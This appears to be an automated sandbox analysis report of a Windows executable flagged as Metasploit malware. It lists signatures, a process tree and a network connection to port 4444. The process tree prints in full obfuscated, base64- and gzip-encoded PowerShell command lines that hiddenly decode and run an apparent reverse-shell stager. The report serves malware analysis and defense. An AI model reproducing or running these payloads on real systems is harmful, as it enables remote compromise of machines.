Analysis Overview
SHA256
64dac5ded715c47d9e36381bc87e6205ad02ffbab5b4f516a6bc91bb08fb4b68
Threat Level: Known bad
The file 6e1a88382a9a78105094ed412b1a9038 was found to be: Known bad.
Malicious Activity Summary
MetaSploit
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2024-01-21 23:22
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-21 23:22
Reported
2024-01-21 23:24
Platform
win7-20231215-en
Max time kernel
148s
Max time network
148s
Command Line
Signatures
MetaSploit
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\6e1a88382a9a78105094ed412b1a9038.exe
"C:\Users\Admin\AppData\Local\Temp\6e1a88382a9a78105094ed412b1a9038.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c start /b /min p^o^wer^sh^ell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBGAFgAbABCADIARQBDAEEANwBWAFcAKwAyACsAYgBTAEIARAArAE8AWgBIAHkAUAA2AEQASwBFAHEAQQA2AEIAagA4AHUAYQBTAEoAVgB1AGcAVwBNADcAUwBSADIALwBJAGoAZgB0AGEAbwBOAHIARwBIAGoAaABYAFYAZwBzAFUATgA2AC8AZAA5AHYAcwBFADIAYQBxAHUAbABkAGUAOQBJAGgAUAAvAFkAeABNAHoAdgB6AHoAVABlAHoATABKAFAAUQBFAFoAUwBIADAAbgAyAEwAUwBWADkATwBqAG8AKwA2AE8ATQBLAEIAcABCAFQAOAB5AG4ATgBSAEsAcABDAHIAaQAwADIAZwBIAGgAMwBCAFIAaQBFACsANgA1AHgASgBIAHkAVgBsAGoAdABaAHIAaQB3AGUAWQBoAG8AdgBMAFMAegBPAEoASQBoAEsASwAvAGIAegBVAEkAQQBMAEYATQBRAG4AdQBHAFMAVwB4AG8AawBwAC8AUwBXAE8AZgBSAE8AVAAwADkAdgA2AEIATwBFAEwANgBJAGgAVQArAGwAeABxAE0AMwAyAE4AMgBFAEUAdABOADcAUABoAEUATwBrAFcAaABtACsAMwBkAGMAQQBkAG4AMwBwAFEARwBhADAAYQBGAEkAbgAvADYASgBLAHYAegAwAC8ASwBpAFYASAA5AE0ATQBJAHMAVgBlAFoARABHAGcAZwBRAGwAbAB6AEYAWgBsAGIANgBxADIAWQBGADMANgBaAG8AbwBjAHAAcwA2AEUAWQAvADUAVQBwAFQARwBOAEsAeABXAFMAcwBNAHcAeABrAHYAUwBBAFcAcwBiADAAaQBiAEMANQAyADQAcwBxAHgAQQBGAGYAQwBJAGkAawBpAGkAVQBkAHYARgBrAEIAdgBiAGIAaQBnAHoARABiAHMAUQBkADUATABvAFIAaQBXAE8ANQBLAE0AMAB6ADAALwBQAEYANABrADkAbABmAGoAaQAzAG4ANABTAEMAQgBxAFQAVQBDAGcAVwBKACsASABwAEEAbwBnADEAMQBTAEYAeABxADQAdABCAGwAcABFACsAVwBDADkAQQBhAGkASQBpAEcAMwBrAEoAVgBRAFcAegBEAFYAMABRAHAAaABBAGwAagBSAGUAbAAzAHoAQwBnAGQAcwBzADEAUgArADEAVQBsADUAYgBVAFMAUwBIAFYARgBwAEIAWQBoAGsAMgAvAEUAMgBlAFoAdQB3AHMAaABlAFUAMwA3AEQAMABTAHoANwBLAGoAdwB2AEQAQQBEAG8AdgBwADQAYwBuAHgAdwB2AGMANwBxAGsAbgAvAHMAUAByAC8AawBDAG8ANgBQADUAYgBrAHoAQQBQAGEAWABMAFkANwBxAFQAKwB5AGoAcABSAGEAawBOAEIAMgBIAEIAbwB4AFMAbQBoAGIAcwBvAEkAZQByAGkAQgBWAHkAcAA4AEcAZwBWAGYANgA1AGQAegBrAFYAQgBNAE8AMQBIAHMARABJAGYAYwBlAG8AdQBRAE8ATwBRAHoAbwBLAC8AeQBsAFoALwBUAGsAcQBMAEwARwBsAEkAcgBEAFQARQBBAFgAVgB5ADMAaQBsAHYASQBVAHkAVwBqAE8AegBDAEsAKwBWAGkASABmAEIASQBrAFEAOABiAHgATABVAEkASQB4ADQAVwBHAFcAWgBaAG8AbgA5AFEAcQB3AGQAVQB2AE8AZwBhAEMAVwBVAHUAaQBaAEEARABXAFkAcgBCAEsAMABpAGcAKwByADAAegArAHoAUQBvAGMAaQB0AHMAawB3AEQAZwAyAGMAKwBCAGUAWQBVAGwAcwBKADMAawAwAGcAZQBHAHAALwBuAHAAMgBSAHkARQBaAEoAUABoAE8AQwA1AEsAMwBRAFQASwB6AFMAbABLAEEANABJAFoAYwBZAHMAUwBDAG0ATgA2ADIARQBLAEoANABMAHUAaAAvAE0AMwBkAGQAcwBJAEUAZABYAEEAcwBjAG4ATQBMAGQAWQAvAGkANABUAFMAVABoADcARwBJAEUAZwBmAHkAQgBaAEgAZgBEAGQAYgBFAG8AWgBoAGwAUQBCAFMAbABKAG4AVwBKAGsAUQA2AG8AbAA1ADgAcQB2AHcAbQBEAGkAUgBtAEQARQBnAEIATABHADAAZwBEAHIARwBUAGgARAAwAFQARwBnAGcAZwBjAGgASQB5AHIAcABRAEUAUgByAFcARABOAFMAQQBBAFMAdQA1AHEAMwBHAGYAYQBnAHcAZwA4ADAAMwA1AEUARwBlADgAUwBWAHYALwBjAHUASgAvAEcAZQBzAFIAawBLAGUAZgBpAHYAZgBJAFAAVQBEAGgAZwBYAFIAVwBsAEUASQB3AEcATgBJADAATQBVAHkAUABOAGYAVABuADcAVgBMADgAQQBIAE0AeQBJAEgALwBKAFcAOABJAHUAWgBHAEsAagBJAGUARgAwAEsAZQAwAGYAQQBBAHgAaQA3ADAAUwBFAEQAWQBkAHMAUQBEAEEAOABmAGsAcgBMAGIAdgBDADgAbwA3ADcAWgBaADIARQBUAHoAVABWAHMAagBhADcAdABXAEsAbABsAHQAYgArAEwAYgBoAE8ANwBUAE8AMwBlAHUAcgBoADYAWgBHAHEAeQAzAGUAZABzAHkANAAyADcAQQAvAEkATAByADEAdABzADYASABEAG4ATABjAEsANQBkAGMARABFAFkAMQBNAGEAaQAzAGgATgBsAEYAegBSADcAVgBqAFoAcgB2AEcAUAByAGQAYgB1AHgATgBoAHkAMAB4AGIAYQBIAG0AbgBlADgAdwB2AFYAdABmAFAAVwBtADEAVwBLAGYAYgA1AHIAagB0AFcATQBiAHoAdABoAEkARABHAFcAdQAxADUAawBSAEgAMQBXAHIAdAB0AHEAcQB2AEEATABJAHAATABYAHMAcgA1AEgAWQBDAHUAbgAyADYAZwBUAEUAMAB3AE4AcwBiAG8AeABVAGIAZQBvAHYAVgByADgAegArAC8AYgBoAGkAegA4AGEAcwBxAGQAVgBzAGYAegBuAG0AOABlAEIAcwBhAG0AbQBhAGQAdQBGAGkAcQA1ADAAaQBaAEgAQwAzADIAawA0AG4ANQBUADYALwBhAHoAcQBCAFUAUQB1ADUAZABtAEgAVwBWAHEAaQBPAGsAQgBuAFcAUgA3AGIAQgByADYAZABHAGgATAByAGEAQwBIAHQAcgBiAG4AbwBJAE4AUwB1AGUAaQBRAHoAYgBvAFcAVABXAEcAOQBwAEcAcgAyAGMAYgBhAE4AaAA0AGUATABRAHUATgBFACsANwBHAEUAKwB3AGIANAB4AEgARgBUAHAAYgBUAC8AbwArAHoATwAxAHQAcwAzAGUAdAA2AGIAVwBXAFMANQA3ADUAYgBBAHYAQQBOAFQAagBDAFgAaAA5AGsAUABMAFAAaQArAEUAdQBRAHMAZAA0AGoANAAzADIASAB4AHgAVwA4AE0AagBnAHkAUQBNAGEAZQBQAGEASwBHAFAAMQAzAGIAWABRAGIANwBkADgATQBLAFIAeQBQAFcAbQBXAEIAMABNADAAdAB0AFQAUwB0AFAAdQB6AFgAVQAxAFAAbQA0ADQAYQBFAGUAaQBHAFAAUAA2AEcARQBVAGIANgB4AG4AUwB5AHUAUABYAE8ANgBPAC8AKwBoAE0AbAA5AHAAbwB3AHMANAAxAHkAKwB4ADEALwBVAGsAVwBzADcAWQBPAHMAdAA5AHQAMAA3AHAAMgBaAHUAVwB0AGMAMwB2ACsANABXAFoATQBSAHcARgBIAFEAMAAwAGIAdgBjAHYANABBAG8AUQBwAFAASQBTAHYAbQBQAEMAegB0AHQAMwBHAFUAZQB4AGoAQgBnAHkAQgBmAHAAeQBYAG8AcwAwAGoAKwA5AEIAaAB1ADUAeABtAEcAbwBxAFMAWABjAHcAcgBFAG8AVwBFAHcAYgBVAEcARgAxADkATwBhAHMAUQBZAGQANwBJAEcAdgAyAHYARgBjAEwAbgBzAFcAMwA1ADIAQQB3ADEAaABXAEsAMgA4AE8AVgBLAGwARgAwAEgAMQBXACsAUABQAGwAeQA0AHYAWgArAEEAawAxAEUAbgBJAFMAegBjAGsAOQBJAFIAZgAxAEoAKwBxAHUAZwA0ADkAWABIACsAcQA2AFIARABnAHIANABkAGwAOABuAFUASwBOAHcAcABZAEEAMgAzAEEAWgBHACsAVgA3AGEAeQBxAFcAZQBVAFUATgB1AGgALwB4AGUAbABRAHIARAA3ADgAdQBmACsARwAwADcAZQAxAGYAOQBqADkASgBlAHoAMABZAGgAYgByAEQANAB2AGYATAAvAHcAVwBrAEwAOABiADkAeABoAFQAQQBZAEkARABhAEQAYQBNADcARwArADQAdAA4AE0ALwBNAE8ATABWAC8AYgA5AEIAawBPAC8AbAA0AGMAbABlADMAMgA0AFQAYwBkAHEAQgBsADQASwBUADQANwA4AEIALwBiAGYAQwBaAFMAawBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBGAFgAbABCADIARQBDAEEANwBWAFcAKwAyACsAYgBTAEIARAArAE8AWgBIAHkAUAA2AEQASwBFAHEAQQA2AEIAagA4AHUAYQBTAEoAVgB1AGcAVwBNADcAUwBSADIALwBJAGoAZgB0AGEAbwBOAHIARwBIAGoAaABYAFYAZwBzAFUATgA2AC8AZAA5AHYAcwBFADIAYQBxAHUAbABkAGUAOQBJAGgAUAAvAFkAeABNAHoAdgB6AHoAVABlAHoATABKAFAAUQBFAFoAUwBIADAAbgAyAEwAUwBWADkATwBqAG8AKwA2AE8ATQBLAEIAcABCAFQAOAB5AG4ATgBSAEsAcABDAHIAaQAwADIAZwBIAGgAMwBCAFIAaQBFACsANgA1AHgASgBIAHkAVgBsAGoAdABaAHIAaQB3AGUAWQBoAG8AdgBMAFMAegBPAEoASQBoAEsASwAvAGIAegBVAEkAQQBMAEYATQBRAG4AdQBHAFMAVwB4AG8AawBwAC8AUwBXAE8AZgBSAE8AVAAwADkAdgA2AEIATwBFAEwANgBJAGgAVQArAGwAeABxAE0AMwAyAE4AMgBFAEUAdABOADcAUABoAEUATwBrAFcAaABtACsAMwBkAGMAQQBkAG4AMwBwAFEARwBhADAAYQBGAEkAbgAvADYASgBLAHYAegAwAC8ASwBpAFYASAA5AE0ATQBJAHMAVgBlAFoARABHAGcAZwBRAGwAbAB6AEYAWgBsAGIANgBxADIAWQBGADMANgBaAG8AbwBjAHAAcwA2AEUAWQAvADUAVQBwAFQARwBOAEsAeABXAFMAcwBNAHcAeABrAHYAUwBBAFcAcwBiADAAaQBiAEMANQAyADQAcwBxAHgAQQBGAGYAQwBJAGkAawBpAGkAVQBkAHYARgBrAEIAdgBiAGIAaQBnAHoARABiAHMAUQBkADUATABvAFIAaQBXAE8ANQBLAE0AMAB6ADAALwBQAEYANABrADkAbABmAGoAaQAzAG4ANABTAEMAQgBxAFQAVQBDAGcAVwBKACsASABwAEEAbwBnADEAMQBTAEYAeABxADQAdABCAGwAcABFACsAVwBDADkAQQBhAGkASQBpAEcAMwBrAEoAVgBRAFcAegBEAFYAMABRAHAAaABBAGwAagBSAGUAbAAzAHoAQwBnAGQAcwBzADEAUgArADEAVQBsADUAYgBVAFMAUwBIAFYARgBwAEIAWQBoAGsAMgAvAEUAMgBlAFoAdQB3AHMAaABlAFUAMwA3AEQAMABTAHoANwBLAGoAdwB2AEQAQQBEAG8AdgBwADQAYwBuAHgAdwB2AGMANwBxAGsAbgAvAHMAUAByAC8AawBDAG8ANgBQADUAYgBrAHoAQQBQAGEAWABMAFkANwBxAFQAKwB5AGoAcABSAGEAawBOAEIAMgBIAEIAbwB4AFMAbQBoAGIAcwBvAEkAZQByAGkAQgBWAHkAcAA4AEcAZwBWAGYANgA1AGQAegBrAFYAQgBNAE8AMQBIAHMARABJAGYAYwBlAG8AdQBRAE8ATwBRAHoAbwBLAC8AeQBsAFoALwBUAGsAcQBMAEwARwBsAEkAcgBEAFQARQBBAFgAVgB5ADMAaQBsAHYASQBVAHkAVwBqAE8AegBDAEsAKwBWAGkASABmAEIASQBrAFEAOABiAHgATABVAEkASQB4ADQAVwBHAFcAWgBaAG8AbgA5AFEAcQB3AGQAVQB2AE8AZwBhAEMAVwBVAHUAaQBaAEEARABXAFkAcgBCAEsAMABpAGcAKwByADAAegArAHoAUQBvAGMAaQB0AHMAawB3AEQAZwAyAGMAKwBCAGUAWQBVAGwAcwBKADMAawAwAGcAZQBHAHAALwBuAHAAMgBSAHkARQBaAEoAUABoAE8AQwA1AEsAMwBRAFQASwB6AFMAbABLAEEANABJAFoAYwBZAHMAUwBDAG0ATgA2ADIARQBLAEoANABMAHUAaAAvAE0AMwBkAGQAcwBJAEUAZABYAEEAcwBjAG4ATQBMAGQAWQAvAGkANABUAFMAVABoADcARwBJAEUAZwBmAHkAQgBaAEgAZgBEAGQAYgBFAG8AWgBoAGwAUQBCAFMAbABKAG4AVwBKAGsAUQA2AG8AbAA1ADgAcQB2AHcAbQBEAGkAUgBtAEQARQBnAEIATABHADAAZwBEAHIARwBUAGgARAAwAFQARwBnAGcAZwBjAGgASQB5AHIAcABRAEUAUgByAFcARABOAFMAQQBBAFMAdQA1AHEAMwBHAGYAYQBnAHcAZwA4ADAAMwA1AEUARwBlADgAUwBWAHYALwBjAHUASgAvAEcAZQBzAFIAawBLAGUAZgBpAHYAZgBJAFAAVQBEAGgAZwBYAFIAVwBsAEUASQB3AEcATgBJADAATQBVAHkAUABOAGYAVABuADcAVgBMADgAQQBIAE0AeQBJAEgALwBKAFcAOABJAHUAWgBHAEsAagBJAGUARgAwAEsAZQAwAGYAQQBBAHgAaQA3ADAAUwBFAEQAWQBkAHMAUQBEAEEAOABmAGsAcgBMAGIAdgBDADgAbwA3ADcAWgBaADIARQBUAHoAVABWAHMAagBhADcAdABXAEsAbABsAHQAYgArAEwAYgBoAE8ANwBUAE8AMwBlAHUAcgBoADYAWgBHAHEAeQAzAGUAZABzAHkANAAyADcAQQAvAEkATAByADEAdABzADYASABEAG4ATABjAEsANQBkAGMARABFAFkAMQBNAGEAaQAzAGgATgBsAEYAegBSADcAVgBqAFoAcgB2AEcAUAByAGQAYgB1AHgATgBoAHkAMAB4AGIAYQBIAG0AbgBlADgAdwB2AFYAdABmAFAAVwBtADEAVwBLAGYAYgA1AHIAagB0AFcATQBiAHoAdABoAEkARABHAFcAdQAxADUAawBSAEgAMQBXAHIAdAB0AHEAcQB2AEEATABJAHAATABYAHMAcgA1AEgAWQBDAHUAbgAyADYAZwBUAEUAMAB3AE4AcwBiAG8AeABVAGIAZQBvAHYAVgByADgAegArAC8AYgBoAGkAegA4AGEAcwBxAGQAVgBzAGYAegBuAG0AOABlAEIAcwBhAG0AbQBhAGQAdQBGAGkAcQA1ADAAaQBaAEgAQwAzADIAawA0AG4ANQBUADYALwBhAHoAcQBCAFUAUQB1ADUAZABtAEgAVwBWAHEAaQBPAGsAQgBuAFcAUgA3AGIAQgByADYAZABHAGgATAByAGEAQwBIAHQAcgBiAG4AbwBJAE4AUwB1AGUAaQBRAHoAYgBvAFcAVABXAEcAOQBwAEcAcgAyAGMAYgBhAE4AaAA0AGUATABRAHUATgBFACsANwBHAEUAKwB3AGIANAB4AEgARgBUAHAAYgBUAC8AbwArAHoATwAxAHQAcwAzAGUAdAA2AGIAVwBXAFMANQA3ADUAYgBBAHYAQQBOAFQAagBDAFgAaAA5AGsAUABMAFAAaQArAEUAdQBRAHMAZAA0AGoANAAzADIASAB4AHgAVwA4AE0AagBnAHkAUQBNAGEAZQBQAGEASwBHAFAAMQAzAGIAWABRAGIANwBkADgATQBLAFIAeQBQAFcAbQBXAEIAMABNADAAdAB0AFQAUwB0AFAAdQB6AFgAVQAxAFAAbQA0ADQAYQBFAGUAaQBHAFAAUAA2AEcARQBVAGIANgB4AG4AUwB5AHUAUABYAE8ANgBPAC8AKwBoAE0AbAA5AHAAbwB3AHMANAAxAHkAKwB4ADEALwBVAGsAVwBzADcAWQBPAHMAdAA5AHQAMAA3AHAAMgBaAHUAVwB0AGMAMwB2ACsANABXAFoATQBSAHcARgBIAFEAMAAwAGIAdgBjAHYANABBAG8AUQBwAFAASQBTAHYAbQBQAEMAegB0AHQAMwBHAFUAZQB4AGoAQgBnAHkAQgBmAHAAeQBYAG8AcwAwAGoAKwA5AEIAaAB1ADUAeABtAEcAbwBxAFMAWABjAHcAcgBFAG8AVwBFAHcAYgBVAEcARgAxADkATwBhAHMAUQBZAGQANwBJAEcAdgAyAHYARgBjAEwAbgBzAFcAMwA1ADIAQQB3ADEAaABXAEsAMgA4AE8AVgBLAGwARgAwAEgAMQBXACsAUABQAGwAeQA0AHYAWgArAEEAawAxAEUAbgBJAFMAegBjAGsAOQBJAFIAZgAxAEoAKwBxAHUAZwA0ADkAWABIACsAcQA2AFIARABnAHIANABkAGwAOABuAFUASwBOAHcAcABZAEEAMgAzAEEAWgBHACsAVgA3AGEAeQBxAFcAZQBVAFUATgB1AGgALwB4AGUAbABRAHIARAA3ADgAdQBmACsARwAwADcAZQAxAGYAOQBqADkASgBlAHoAMABZAGgAYgByAEQANAB2AGYATAAvAHcAVwBrAEwAOABiADkAeABoAFQAQQBZAEkARABhAEQAYQBNADcARwArADQAdAA4AE0ALwBNAE8ATABWAC8AYgA5AEIAawBPAC8AbAA0AGMAbABlADMAMgA0AFQAYwBkAHEAQgBsADQASwBUADQANwA4AEIALwBiAGYAQwBaAFMAawBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAFXlB2ECA7VW+2+bSBD+OZHyP6DKEqA6Bj8uaSJVugWM7SR2/IjftaoNrGHjhXVgsUN6/d9vsE2aqulde9IhP/YxMzvzzTezLJPQEZSH0n2LSV9Ojo+6OMKBpBT8ynNRKpCri02gHh3BRiE+65xJHyVljtZriweYhovLSzOJIhKK/bzUIALFMQnuGSWxokp/SWOfROT09v6BOEL6IhU+lxqM32N2EEtN7PhEOkWhm+3dcAdn3pQGa0aFIn/6JKvz0/KiVH9MMIsVeZDGggQllzFZlb6q2YF36Zoocps6EY/5UpTGNKxWSsMwxkvSAWsb0ibC524sqxAFfCIikiiUdvFkBvbbigzDbsQd5LoRiWO5KM0z0/PF4k9lfji3n4SCBqTUCgWJ+HpAog11SFxq4tBlpE+WC9AaiIiG3kJVQWzDV0QphAljRel3zCgdss1R+1Ul5bUSSHVFpBYhk2/E2eZuwsheU37D0Sz7KjwvDADovp4cnxwvc7qkn/sPr/kCo6P5bkzAPaXLY7qT+yjpRakNB2HBoxSmhbsoIeriBVyp8GgVf65dzkVBMO1HsDIfceouQOOQzoK/ylZ/TkqLLGlIrDTEAXVy3ilvIUyWjOzCK+ViHfBIkQ8bxLUIIx4WGWZZon9QqwdUvOgaCWUuiZADWYrBK0ig+r0z+zQocitskwDg2c+BeYUlsJ3k0geGp/np2RyEZJPhOC5K3QTKzSlKA4IZcYsSCmN62EKJ4Luh/M3ddsIEdXAscnMLdY/i4TSTh7GIEgfyBZHfDdbEoZhlQBSlJnWJkQ6ol58qvwmDiRmDEgBLG0gDrGThD0TGgggchIyrpQERrWDNSAASu5q3Gfagwg8035EGe8SVv/cuJ/GesRkKefivfIPUDhgXRWlEIwGNI0MUyPNfTn7VL8AHMyIH/JW8IuZGKjIeF0Ke0fAAxi70SEDYdsQDA8fkrLbvC8o77ZZ2ETzTVsja7tWKlltb+LbhO7TO3eurh6ZGqy3edsy427A/ILr1ts6HDnLcK5dcDEY1Mai3hNlFzR7VjZrvGPrdbuxNhy0xbaHmne8wvVtfPWm1WKfb5rjtWMbzthIDGWu15kRH1WrttqqvALIpLXsr5HYCun26gTE0wNsboxUbeovVr8z+/bhiz8asqdVsfznm8eBsammaduFiq50iZHC32k4n5T6/azqBUQu5dmHWVqiOkBnWR7bBr6dGhLraCHtrbnoINSueiQzboWTWG9pGr2cbaNh4eLQuNE+7GE+wb4xHFTpbT/o+zO1ts3et6bWWS575bAvANTjCXh9kPLPi+EuQsd4j432HxxW8MjgyQMaePaKGP13bXQb7d8MKRyPWmWB0M0ttTStPuzXU1Pm44aEeiGPP6GEUb6xnSyuPXO6O/+hMl9pows41y+x1/UkWs7YOst9t07p2ZuWtc3v+4WZMRwFHQ00bvcv4AoQpPISvmPCztt3GUexjBgyBfpyXos0j+9Bhu5xmGoqSXcwrEoWEwbUGF19OasQYd7IGv2vFcLnsW352Aw1hWK28OVKlF0H1W+PPly4vZ+Ak1EnISzck9IRf1J+qug49XH+q6RDgr4dl8nUKNwpYA23AZG+V7ayqWeUUNuh/xelQrD78uf+G07e1f9j9Jez0YhbrD4vfL/wWkL8b9xhTAYIDaDaM7G+4t8M/MOLV/b9BkO/l4cle324TcdqBl4KT478B/bfCZSkKAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
Network
| Country | Destination | Domain | Proto |
| N/A | 10.0.0.31:4444 | tcp |
Files
memory/2180-0-0x0000000000400000-0x000000000044B000-memory.dmp
memory/2380-3-0x0000000073F20000-0x00000000744CB000-memory.dmp
memory/2380-4-0x0000000073F20000-0x00000000744CB000-memory.dmp
memory/2380-7-0x0000000001C00000-0x0000000001C40000-memory.dmp
memory/2380-6-0x0000000001C00000-0x0000000001C40000-memory.dmp
memory/2380-5-0x0000000001C00000-0x0000000001C40000-memory.dmp
memory/2380-8-0x0000000073F20000-0x00000000744CB000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | e2b34276e81369423d465477a6bcf511 |
| SHA1 | 35a8a6e55aad69621450128b8228efe2f883f254 |
| SHA256 | 164230911069a14e298474c336d8cc47302a50a34474d89486b07d8b6444e944 |
| SHA512 | e5c72a84f410df6001c967020ee32d3656c8cf121ab72625faa27742bd51d7aa9c99f8399728c9601b53a34d6b1b881814001f1964cc2312cb711de692bfe58f |
memory/2692-15-0x0000000002E60000-0x0000000002EA0000-memory.dmp
memory/2692-14-0x0000000073F20000-0x00000000744CB000-memory.dmp
